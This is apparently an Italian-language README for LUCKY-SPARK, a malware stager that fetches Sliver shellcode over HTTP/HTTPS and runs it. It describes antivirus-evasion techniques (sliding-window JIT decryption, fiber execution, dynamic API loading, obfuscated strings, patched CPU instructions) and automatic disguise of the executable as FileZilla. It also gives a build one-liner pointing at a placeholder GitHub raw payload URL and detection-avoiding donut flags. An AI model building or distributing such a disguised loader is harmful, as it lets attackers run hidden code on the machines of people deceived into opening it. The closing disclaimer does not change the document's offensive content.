LUCKY-SPARK

⟪ LUCKY-SPARK ⟫ è uno stager progettato per payload shellcode serviti tramite http/https come sliver o su github raw. Utilizza moderni metodi di offuscamento ed evasione come la decrittazione just-in-time a finestra scorrevole del payload e il patching delle istruzioni della CPU. Di default crea un eseguibile mascherato da client FTP FileZilla.

Caratteristiche

• Caricatore di Payload Sliver Staged Scarica ed esegue un payload Sliver da un server specificato.
• Decrittazione JIT dello Shellcode Decritta solo una finestra scorrevole del payload per ridurre al minimo l'esposizione.
• Esecuzione basata su Fiber Esegue lo shellcode all'interno di fiber per migliorare la furtività e complicare l'analisi.
• Risoluzione dinamica delle API Le funzioni API di Windows sospette o soggette a rilevamento vengono caricate dinamicamente a runtime.
• Offuscamento delle stringhe Le stringhe sensibili (es. URL, user agent) vengono crittografate usando un cifrario affine e memorizzate offuscate nel binario compilato.
• Patching delle istruzioni CPU Le istruzioni CPU AES sono nascoste dietro istruzioni CPU insospettabili come pmulqd e vengono applicate dopo l'esecuzione.
• Mimetizzazione automatica L'EXE viene automaticamente mascherato da FileZilla con manifest, informazioni sulla versione e icone appropriate.
• User-Agent personalizzabile Supporta la specifica di una stringa User-Agent personalizzata per le richieste di rete.

Installazione

Clona o scarica il repository e assicurati di avere make e mingw installati sul sistema.

git clone <url_del_repository>
cd LUCKY-SPARK

Utilizzo

Interattivo

Esegui lo script per la creazione del binario.

./luckySpark.sh

Ti verrà chiesto di inserire l'URL del tuo payload staged e, opzionalmente, un User-Agent.

Una riga

Può essere eseguito in una riga per essere integrato in script:

./luckySpark.sh -u https://github.com/NOMEUTENTE/NOMEREPO/raw/refs/heads/main/PAYLOAD.bin -a "Mozilla/5.0"

Suggerimenti per il Payload

Se usi donut o Sliver (che usa donut), ti consiglio questi flag per creare il payload:

donut.exe -i examplePayload.exe -a 2 -e 1 -z 1 -b 1 -o payload.bin

Questo evita comportamenti sospetti e segnalati da donut. In particolare, ironicamente, l'evasione di donut è molto segnalata.

Esegui il Loader

Questo crea un binario filezilla.exe che, quando eseguito, recupera ed esegue il payload.

Staging di un Payload

Questo stager è stato progettato per essere usato con Sliver. Esegui lo staging di un payload Sliver come descritto qui Sliver Staging Non crittografare il payload.

Ma qualsiasi metodo di staging basato su http/https funzionerà. come python3 -m http.server o un payload caricato su github.com in un repo pubblico.

Questo stager NON supporta il protocollo di staging di meterpreter.

Decrittazione JIT a Finestra Scorrevole

Passo 1: RIP colpisce la Pagina 0 e la Pagina 0 viene decrittata
  Pagine:           [  D  |  E  |  E  | ... ]
  RIP ->              ^

Passo 2: RIP colpisce la Pagina 1 e la Pagina 1 viene decrittata
  Pagine:           [  D  |  D  |  E  | ... ]
  RIP ->                    ^

Passo 3: RIP colpisce la Pagina 2 e la Pagina 2 viene decrittata. La Pagina 0 viene crittografata
  Pagine:           [  E  |  D  |  D  | ... ]
  RIP ->                          ^

Come funziona:

1. Quando RIP colpisce una pagina protetta, il gestore VEH decritta quella pagina.
2. La pagina più vecchia nella finestra di 3 pagine viene ricrittografata.
3. Solo le ultime due pagine sono decrittate, il resto rimane protetto.
4. Questa “finestra scorrevole” si sposta con RIP man mano che il codice viene eseguito.

Sicurezza e Disclaimer

LUCKY-SPARK è inteso esclusivamente per scopi educativi, di ricerca e test di penetrazione autorizzati. L'uso non autorizzato su sistemi senza permesso è illegale e non etico.